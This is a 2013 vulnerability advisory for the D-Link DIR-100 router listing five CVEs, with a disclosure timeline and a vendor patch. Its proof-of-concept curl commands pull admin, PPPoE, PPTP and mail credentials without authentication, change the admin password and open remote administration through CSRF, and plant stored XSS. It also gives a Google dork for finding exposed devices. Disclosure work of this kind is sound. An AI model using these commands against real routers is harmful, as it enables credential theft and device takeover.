198 lines
No EOL
7.5 KiB
Text
198 lines
No EOL
7.5 KiB
Text
* Title: Router D-Link DIR-100 Multiple Vulnerabilities
|
|
* Date: 2013-09-19
|
|
* Author: Felix Richter
|
|
* Contact: root@euer.krebsco.de
|
|
* Vulnerable Software: ftp://ftp.dlink.de/dir/dir-100/driver_software/DIR-100_fw_revd_403b07_ALL_de_20120410.zip
|
|
* Patched Software: ftp://ftp.dlink.de/dir/dir-100/driver_software/DIR-100_fw_revd_403b13_ALL_de_20131011.zip
|
|
* Report Version: 2.0
|
|
* Report URL: http://pigstarter.krebsco.de/report/2013-12-18_dir100.txt
|
|
* Vulnerable: D-Link DIR-100
|
|
* Hardware Revision: D1
|
|
* Software Version: 4.03B07 (from 2012-04-10)
|
|
* CVE Numbers:
|
|
* CWE-287 Authentication Issues: CVE-2013-7051
|
|
* CWE-255 Issues with Credential Management: CVE-2013-7052
|
|
* CWE-352 Cross-Site Request Forgery: CVE-2013-7053
|
|
* CWE-79 Cross-Site Scripting: CVE-2013-7054
|
|
* CWE-200 Information Disclosure: CVE-2013-7055
|
|
* Google Dork: "D-Link Systems" inurl:bsc_internet.htm D1
|
|
* State: Patched by Vendor
|
|
* Link to Vendor Report: http://more.dlink.de/sicherheit/news.html#news8
|
|
|
|
# Table of Contents
|
|
|
|
1. Background
|
|
2. Vulnerability Description
|
|
3. Technical Description
|
|
4. Severity and Remediation
|
|
5. Timeline
|
|
|
|
# 1. Background
|
|
|
|
The DIR-100 is designed for easy and robust connectivity among heterogeneous
|
|
standards-based network devices. Computers can communicate directly with this
|
|
router for automatic opening and closing of UDP/TCP ports to take full
|
|
advantage of the security provided without sacrificing functionality of on-line
|
|
applications.
|
|
|
|
# 2 Vulnerability Description
|
|
|
|
Multiple vulnerabilities have been found in the D-Link DIR-100 Ethernet
|
|
Broadband Router Revision D (and potentially other devices sharing the
|
|
affected firmware) that could allow a remote attacker:
|
|
|
|
- Retrieve the Administrator password without authentication leading to
|
|
authentication bypass [CWE-255]
|
|
- Retrieve sensitive configuration paramters like the pppoe username and
|
|
password without authentication [CWE-200]
|
|
- Execute privileged Commands without authentication through a race
|
|
condition leading to weak authentication enforcement [CWE-287]
|
|
- Sending formatted request to a victim which then will execute arbitrary
|
|
commands on the device (CSRF) [CWE-352]
|
|
- Store arbitrary javascript code which will be executed when a victim
|
|
accesses the administrator interface [CWE-79]
|
|
|
|
CVE-Numbers for these vulnerabilities has not yet been assigned.
|
|
|
|
# 3 Technical Description of the Vulnerabilities
|
|
|
|
## 3.0 The DIR-100 Web Interface and CGI
|
|
|
|
The DIR-100 Web interface provides a cgi-script on `/cliget.cgi` for
|
|
unauthenticated users and `/cli.cgi` for authenticated requests.
|
|
|
|
list of features provided by each cgi-script can be retrieved by:
|
|
|
|
curl 'http://192.168.1.104/cliget.cgi?cmd=help'
|
|
# and respectively when authenticated
|
|
curl 'http://192.168.1.104/cli.cgi?cmd=help'
|
|
|
|
## 3.1 Authentication Bypass
|
|
|
|
### Description
|
|
|
|
The administrator password is not protected in any way on the device, every
|
|
attacker with access to the administrator interface which listens on port 80.
|
|
For retrieving the Administrator password the request must not be
|
|
authenticated.
|
|
|
|
|
|
### Proof of Concept
|
|
|
|
The web interface provides two distinct ways to retrieve the adminstrator
|
|
password:
|
|
|
|
curl 'http://192.168.0.1/cliget.cgi?cmd=$sys_user1'
|
|
curl 'http://192.168.0.1/cliget.cgi?cmd=easysetup%20summary'
|
|
|
|
## 3.2 Weak Authentication
|
|
|
|
### Description
|
|
|
|
As soon as a user is logged into the administration interface, the cli CGI
|
|
is `unlocked` and can be used by without authenticating before as
|
|
the cgi-script does not check any other authentication parameters such as
|
|
cookies or HTTP Parameters. The only access check is if the IP-Address is
|
|
the same.
|
|
|
|
### Proof of Concept
|
|
|
|
# open the router interface in a web browser and log in
|
|
firefox 'http://192.168.0.1/'
|
|
|
|
# open a new terminal or another web-browser which is currently not logged
|
|
# in and try to access
|
|
|
|
curl 'http://192.168.0.1/cli.cgi?cmd=help'
|
|
|
|
# this request will be authenticated and it will not be redirected to the
|
|
# login page. If no user is logged in, the request will be redirected to
|
|
# the login
|
|
|
|
## 3.3 Retrieve sensitive information
|
|
|
|
### Description
|
|
|
|
Besides retrieving the administrator password without authentication it is
|
|
possible to retrieve other sensitive configuration from the device as well like
|
|
the PPTP and poe Username and Password, as well as the configured dyndns
|
|
username and password and configured mail log credentials when these parameters
|
|
are configured.
|
|
No authentication is requred.
|
|
|
|
### Proof of Concept
|
|
|
|
curl 'http://192.168.0.1/cliget.cgi?cmd=$ddns1'
|
|
curl 'http://192.168.0.1/cliget.cgi?cmd=$poe_user'
|
|
curl 'http://192.168.0.1/cliget.cgi?cmd=$poe_pass'
|
|
curl 'http://192.168.0.1/cliget.cgi?cmd=$pptp_user'
|
|
curl 'http://192.168.0.1/cliget.cgi?cmd=$pptp_pass'
|
|
curl 'http://192.168.0.1/cliget.cgi?cmd=$log_mail_user'
|
|
curl 'http://192.168.0.1/cliget.cgi?cmd=$log_mail_pwd'
|
|
|
|
## 3.4 Cross-Site Request Forgery (CSRF)
|
|
|
|
### Description
|
|
|
|
CSRF attacks can be launched by sending a formatted request to a victim, then
|
|
tricking the victim into loading the request (often automatically), which
|
|
makes it appear that the request came from the victim. As an example the
|
|
attacker could change the administrator password (see Proof of Concept code)
|
|
and enable system remote access.
|
|
|
|
### Proof of Concept
|
|
|
|
Changing the password for administrator can be done when the ip-address is
|
|
authenticated:
|
|
|
|
# Log into DIR-100
|
|
curl -X POST -d 'uname=admin&pws=password&login=Login' 'http://192.168.0.1/login.htm'
|
|
|
|
# Change password
|
|
curl 'http://192.168.0.1/cli.cgi?cmd=$sys_user1=user=admin&pass=c%;$sys_passHash=4%25;commit'
|
|
|
|
# enable remote console
|
|
curl 'http://192.168.0.1/cli.cgi?cmd=$sys_remote_enable=1%25;$sys_remote_ip=0.0.0.0%25;$sys_remote_port=80%25;commit'
|
|
|
|
## 3.5 Cross-Site Scripting (XSS)
|
|
|
|
### Description
|
|
|
|
It is possible for an authenticated user to store information on the server
|
|
which will not be checked on the server side for special characters which
|
|
results in persistent Cross-Site Scripting Vulnerabilities. With this
|
|
vulnerabilty the victim (administrator) will run javascript code in the
|
|
context of the D-Link DIR-100.
|
|
|
|
XSS is possible because only on the client side (javascript code) the input is
|
|
filtered and validated, sending data directly to the CGI scripts.
|
|
|
|
### Proof of Concept
|
|
|
|
# Log into DIR-100
|
|
curl -X POST -d 'uname=admin&pws=password&login=Login' 'http://192.168.0.1/login.htm'
|
|
|
|
# XSS in Static IP Address Tab
|
|
curl 'http://192.168.1.104/cli.cgi?cmd=dhcps%20set%20name=<script>alert(1)</script>%26ip=192.168.0.199%26mac=00:11:22:33:44:55%26flg=1%26exp='
|
|
|
|
# XSS in Scheduler tab
|
|
curl 'http://192.168.1.104/cli.cgi?cmd=$sched2=schen=1%26time=0-60%26day=5%26desc=<script>alert(1)</script>%26use=0%26idx=2%26;commit'
|
|
|
|
# 4 Severity and Remediation
|
|
|
|
This exploits are considered very critical, especially when the feature of remote
|
|
administration is activated on the system.
|
|
Weak authentication, together with cross-site request forgery and authentication
|
|
bypass can result in a full device compromise from an arbitrary website the victim is
|
|
accessing, even if the device has remote administration deactivated on the
|
|
internet-port. It is recommended to upgrade the router with the newest firmware
|
|
of the D-Link DIR-100.
|
|
|
|
# 5 Timeline
|
|
|
|
2013-09-13 - First Contact with D-Link Support
|
|
2013-09-19 - Sent Report
|
|
2013-10-14 - Request Status update, Response: Beta will be available mid October
|
|
2013-12-02 - Vendor publishes Firmware Update
|
|
2013-12-11 - Request CVE-IDs
|
|
2013-12-18 - Publish the report |